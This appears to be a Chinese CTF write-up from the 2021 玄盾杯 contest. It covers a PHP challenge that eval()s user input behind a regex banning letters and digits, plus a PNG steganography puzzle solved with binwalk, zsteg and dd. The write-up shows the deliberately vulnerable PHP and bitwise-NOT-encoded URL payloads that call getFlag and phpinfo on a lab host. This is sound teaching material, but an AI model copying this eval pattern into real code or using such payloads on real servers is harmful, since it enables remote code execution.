2021玄盾杯

1、Ezexec

题目:
image001
分析:
其实就是绕过字符串的文件执行函数,这里我重新复现了环境,还发现php环境必须是7.0以上版本:

1.php内容:
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
Flag.php:
<?php
function getFlag(){
echo "flag{123456}";
}        
?>

正常的思路是这样的这里面涉及一个无字母数字绕过正则表达式的问题具体操作以及相关方法在这个链接里面:https://blog.csdn.net/miuzzx/article/details/109143413
步骤:
正常来讲直接code=getFLag();就可以得到flag内容,但因为需要绕过字符串,所以我们不能正常输入字符串,需要尝试输入不可显示的字符串,操作如下:
1)先将getFlag转二进制:
image002
2)每位取反操作:
image003
3)将取反后的结果转16进制:
image004
其实得到的16进制再取反就是getFlag字符串~989a8bb9939e98=getFlag
之后就构造payload:code=$_=~989a8bb9939e98;$_();因为不能正常执行字符串所以变量替换下:
http://192.168.31.244/CTF/1.php?code=$_=~%98%9a%8b%b9%93%9e%98;$_();
image005
另外得到大神的脚本可以这样操作:
image006
直接得到取反后的内容,我们这里后面的~需要去掉,我们这里演示获取phpinfo:
再执行下:http://192.168.31.244/CTF/1.php?code=(~%8F%97%8F%96%91%99%90)();
image007

2、file.png

题目:
image008
分析:
因为常规PNG文件都先pngcheck以下,没问题crc没有报错:
image009
所以解下来看看文件内容,查找flag等字符串没有东西,那么解下来使用binwalk看看,结果发现隐藏了一个.jpg文件:
image010
步骤:
1)分离上面的.jpg文件:
image011
2)查看.jpg文件,发现该文件前面的是jpg文件后面,看不懂,那么接着binwalk:
image012
3)有一段是zlib文件,但是通过对文件的位置16进制82 0C cd并未发现是什么文件:
image013
4)接着使用zsteg看看最初的文件,发现这个东西:
image014
5)分离出来看看得到一张png文件,内容见下图:
zsteg -e b3,bgr,lsb,xy file.png > file1.png
image015
6)发现flag文件:
image016
7)使用foremost提取,没有正常提取出来所以使用dd分离出来,解压zip文件发现文件损坏,但是能正常解压,发现flag:
ddrelease64.exe if=file1.png of=1.zip skip=692 bs=1
image017
image018